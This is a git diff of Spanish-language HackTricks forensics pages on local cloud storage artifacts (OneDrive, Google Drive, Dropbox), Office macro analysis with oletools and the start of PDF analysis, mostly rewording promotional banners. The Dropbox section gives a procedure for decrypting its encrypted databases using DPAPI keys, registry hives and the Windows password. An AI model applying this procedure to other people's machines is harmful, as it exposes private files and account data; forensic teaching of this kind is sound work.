Estas rutas y comandos son cruciales para acceder y comprender los datos de navegación almacenados por diferentes navegadores web. Estas rutas y comandos son cruciales para acceder y comprender los datos de navegación almacenados por diferentes navegadores web.
@ -186,18 +187,22 @@ Estas rutas y comandos son cruciales para acceder y comprender los datos de nave
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** impulsados por las **herramientas más avanzadas** de la comunidad.\
Accede hoy mismo: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Almacenamiento en la Nube Local # Almacenamiento en la Nube Local
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las **herramientas comunitarias más avanzadas** del mundo.\
¡Accede hoy mismo: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -33,22 +34,22 @@ En Windows, puedes encontrar la carpeta de OneDrive en `\Users\<username>\AppDat
* Número de archivos en la carpeta * Número de archivos en la carpeta
* **CID**: ID único del usuario de OneDrive * **CID**: ID único del usuario de OneDrive
* Hora de generación del informe * Hora de generación del informe
* Tamaño del disco duro del sistema operativo * Tamaño del HD del sistema operativo
Una vez que hayas encontrado el CID, se recomienda **buscar archivos que contengan este ID**. Es posible que encuentres archivos con nombres como: _**\<CID>.ini**_ y _**\<CID>.dat**_ que pueden contener información interesante como los nombres de los archivos sincronizados con OneDrive. Una vez que hayas encontrado el CID, se recomienda **buscar archivos que contengan este ID**. Es posible que encuentres archivos con el nombre: _**\<CID>.ini**_ y _**\<CID>.dat**_ que pueden contener información interesante como los nombres de los archivos sincronizados con OneDrive.
## Google Drive ## Google Drive
En Windows, puedes encontrar la carpeta principal de Google Drive en `\Users\<username>\AppData\Local\Google\Drive\user_default`\ En Windows, puedes encontrar la carpeta principal de Google Drive en `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Esta carpeta contiene un archivo llamado Sync\_log.log con información como la dirección de correo electrónico de la cuenta, nombres de archivos, marcas de tiempo, hashes MD5 de los archivos, etc. Incluso los archivos eliminados aparecen en ese archivo de registro con su correspondiente MD5. Esta carpeta contiene un archivo llamado Sync\_log.log con información como la dirección de correo electrónico de la cuenta, nombres de archivos, marcas de tiempo, hashes MD5 de los archivos, etc. Incluso los archivos eliminados aparecen en ese archivo de registro con su correspondiente MD5.
El archivo **`Cloud_graph\Cloud_graph.db`** es una base de datos sqlite que contiene la tabla **`cloud_graph_entry`**. En esta tabla puedes encontrar el **nombre** de los **archivos sincronizados**, la hora de modificación, el tamaño y el checksum MD5 de los archivos. El archivo **`Cloud_graph\Cloud_graph.db`** es una base de datos sqlite que contiene la tabla **`cloud_graph_entry`**. En esta tabla puedes encontrar el **nombre** de los **archivos sincronizados**, tiempo de modificación, tamaño y el checksum MD5 de los archivos.
Los datos de la tabla de la base de datos **`Sync_config.db`** contienen la dirección de correo electrónico de la cuenta, la ruta de las carpetas compartidas y la versión de Google Drive. Los datos de la tabla de la base de datos **`Sync_config.db`** contienen la dirección de correo electrónico de la cuenta, la ruta de las carpetas compartidas y la versión de Google Drive.
## Dropbox ## Dropbox
Dropbox utiliza **bases de datos SQLite** para gestionar los archivos. En esta\ Dropbox utiliza **bases de datos SQLite** para gestionar los archivos. En este\
Puedes encontrar las bases de datos en las carpetas: Puedes encontrar las bases de datos en las carpetas:
* `\Users\<username>\AppData\Local\Dropbox` * `\Users\<username>\AppData\Local\Dropbox`
@ -64,73 +65,74 @@ Y las bases de datos principales son:
La extensión ".dbx" significa que las **bases de datos** están **encriptadas**. Dropbox utiliza **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) La extensión ".dbx" significa que las **bases de datos** están **encriptadas**. Dropbox utiliza **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Para comprender mejor la encriptación que utiliza Dropbox, puedes leer [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). Para entender mejor la encriptación que utiliza Dropbox, puedes leer [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Sin embargo, la información principal es: Sin embargo, la información principal es:
* **Entropía**: d114a55212655f74bd772e37e64aee9b * **Entropía**: d114a55212655f74bd772e37e64aee9b
* **Salt**: 0D638C092E8B82FC452883F95F355B8E * **Sal**: 0D638C092E8B82FC452883F95F355B8E
* **Algoritmo**: PBKDF2 * **Algoritmo**: PBKDF2
* **Iteraciones**: 1066 * **Iteraciones**: 1066
Además de esa información, para descifrar las bases de datos aún necesitas: Aparte de esa información, para desencriptar las bases de datos aún necesitas:
* La **clave DPAPI encriptada**: Puedes encontrarla en el registro dentro de `NTUSER.DAT\Software\Dropbox\ks\client` (exporta estos datos como binarios) * La **clave DPAPI encriptada**: Puedes encontrarla en el registro dentro de `NTUSER.DAT\Software\Dropbox\ks\client` (exporta estos datos como binarios)
* Las colmenas **`SYSTEM`** y **`SECURITY`** * Los **hives** de **`SYSTEM`** y **`SECURITY`**
* Las **claves maestras DPAPI**: Que se pueden encontrar en `\Users\<username>\AppData\Roaming\Microsoft\Protect` * Las **claves maestras DPAPI**: Que se pueden encontrar en `\Users\<username>\AppData\Roaming\Microsoft\Protect`
* El **nombre de usuario** y la **contraseña** del usuario de Windows * El **nombre de usuario** y **contraseña** del usuario de Windows
Luego puedes utilizar la herramienta [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:** Luego puedes usar la herramienta [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
![](<../../../.gitbook/assets/image (448).png>) ![](<../../../.gitbook/assets/image (448).png>)
Si todo va según lo esperado, la herramienta indicará la **clave primaria** que necesitas **usar para recuperar la original**. Para recuperar la original, simplemente utiliza esta [receta de cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) poniendo la clave primaria como "contraseña" dentro de la receta. Si todo sale como se espera, la herramienta indicará la **clave primaria** que necesitas **usar para recuperar la original**. Para recuperar la original, simplemente usa esta [receta de cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) poniendo la clave primaria como la "frase de paso" dentro de la receta.
El hex resultante es la clave final utilizada para encriptar las bases de datos que se pueden descifrar con: El hex resultante es la clave final utilizada para encriptar las bases de datos que se puede desencriptar con:
```bash ```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
``` ```
La base de datos **`config.dbx`** contiene: El **`config.dbx`** base de datos contiene:
- **Email**: El correo electrónico del usuario * **Email**: El correo electrónico del usuario
- **usernamedisplayname**: El nombre del usuario * **usernamedisplayname**: El nombre del usuario
- **dropbox\_path**: Ruta donde se encuentra la carpeta de Dropbox * **dropbox\_path**: Ruta donde se encuentra la carpeta de dropbox
- **Host\_id: Hash** utilizado para autenticarse en la nube. Esto solo puede ser revocado desde la web. * **Host\_id: Hash** utilizado para autenticar en la nube. Esto solo se puede revocar desde la web.
- **Root\_ns**: Identificador de usuario * **Root\_ns**: Identificador del usuario
La base de datos **`filecache.db`** contiene información sobre todos los archivos y carpetas sincronizados con Dropbox. La tabla `File_journal` es la que contiene la información más útil: La **`filecache.db`** base de datos contiene información sobre todos los archivos y carpetas sincronizados con Dropbox. La tabla `File_journal` es la que tiene más información útil:
- **Server\_path**: Ruta donde se encuentra el archivo dentro del servidor (esta ruta está precedida por el `host_id` del cliente). * **Server\_path**: Ruta donde se encuentra el archivo dentro del servidor (esta ruta está precedida por el `host_id` del cliente).
- **local\_sjid**: Versión del archivo * **local\_sjid**: Versión del archivo
- **local\_mtime**: Fecha de modificación * **local\_mtime**: Fecha de modificación
- **local\_ctime**: Fecha de creación * **local\_ctime**: Fecha de creación
Otras tablas dentro de esta base de datos contienen información más interesante: Otras tablas dentro de esta base de datos contienen información más interesante:
- **block\_cache**: hash de todos los archivos y carpetas de Dropbox * **block\_cache**: hash de todos los archivos y carpetas de Dropbox
- **block\_ref**: Relaciona el ID de hash de la tabla `block_cache` con el ID de archivo en la tabla `file_journal` * **block\_ref**: Relaciona el ID de hash de la tabla `block_cache` con el ID del archivo en la tabla `file_journal`
- **mount\_table**: Compartir carpetas de Dropbox * **mount\_table**: Compartir carpetas de dropbox
- **deleted\_fields**: Archivos eliminados de Dropbox * **deleted\_fields**: Archivos eliminados de Dropbox
- **date\_added** * **date\_added**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas más avanzadas** de la comunidad.\
Obtén acceso hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# Análisis de archivos de oficina # Análisis de archivos de Office
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las **herramientas comunitarias más avanzadas** del mundo.\
¡Accede hoy mismo: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Para obtener más información, visita [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Esto es solo un resumen: Para más información, consulta [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Este es solo un resumen:
Microsoft ha creado muchos formatos de documentos de oficina, con dos tipos principales siendo los formatos **OLE** (como RTF, DOC, XLS, PPT) y los formatos **Office Open XML (OOXML)** (como DOCX, XLSX, PPTX). Estos formatos pueden incluir macros, convirtiéndolos en objetivos para phishing y malware. Los archivos OOXML están estructurados como contenedores zip, lo que permite su inspección descomprimiéndolos, revelando la jerarquía de archivos y carpetas y el contenido de archivos XML. Microsoft ha creado muchos formatos de documentos de oficina, siendo los dos tipos principales **formatos OLE** (como RTF, DOC, XLS, PPT) y **formatos Office Open XML (OOXML)** (como DOCX, XLSX, PPTX). Estos formatos pueden incluir macros, lo que los convierte en objetivos para phishing y malware. Los archivos OOXML están estructurados como contenedores zip, lo que permite la inspección a través de la descompresión, revelando la jerarquía de archivos y carpetas y el contenido de archivos XML.
Para explorar las estructuras de archivos OOXML, se proporciona el comando para descomprimir un documento y la estructura de salida. Se han documentado técnicas para ocultar datos en estos archivos, lo que indica una innovación continua en el ocultamiento de datos en desafíos de CTF. Para explorar las estructuras de archivos OOXML, se proporciona el comando para descomprimir un documento y la estructura de salida. Se han documentado técnicas para ocultar datos en estos archivos, lo que indica una innovación continua en la ocultación de datos dentro de los desafíos CTF.
Para el análisis, **oletools** y **OfficeDissector** ofrecen conjuntos de herramientas completos para examinar tanto documentos OLE como OOXML. Estas herramientas ayudan a identificar y analizar macros incrustadas, que a menudo sirven como vectores para la entrega de malware, descargando y ejecutando cargas maliciosas adicionales. El análisis de macros VBA se puede realizar sin Microsoft Office utilizando Libre Office, que permite la depuración con puntos de interrupción y variables de observación. Para el análisis, **oletools** y **OfficeDissector** ofrecen conjuntos de herramientas completos para examinar tanto documentos OLE como OOXML. Estas herramientas ayudan a identificar y analizar macros incrustadas, que a menudo sirven como vectores para la entrega de malware, normalmente descargando y ejecutando cargas útiles maliciosas adicionales. El análisis de macros VBA se puede realizar sin Microsoft Office utilizando Libre Office, que permite la depuración con puntos de interrupción y variables de observación.
La instalación y el uso de **oletools** son sencillos, con comandos proporcionados para la instalación a través de pip y la extracción de macros de documentos. La ejecución automática de macros se desencadena mediante funciones como `AutoOpen`, `AutoExec` o `Document_Open`. La instalación y el uso de **oletools** son sencillos, con comandos proporcionados para instalar a través de pip y extraer macros de documentos. La ejecución automática de macros se activa mediante funciones como `AutoOpen`, `AutoExec` o `Document_Open`.
```bash ```bash
sudo pip3 install -U oletools sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros olevba -c /path/to/document #Extract macros
@ -38,21 +39,22 @@ olevba -c /path/to/document #Extract macros
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtenga acceso hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Obtenga el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,52 +1,54 @@
# Análisis de archivos PDF # Análisis de archivos PDF
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
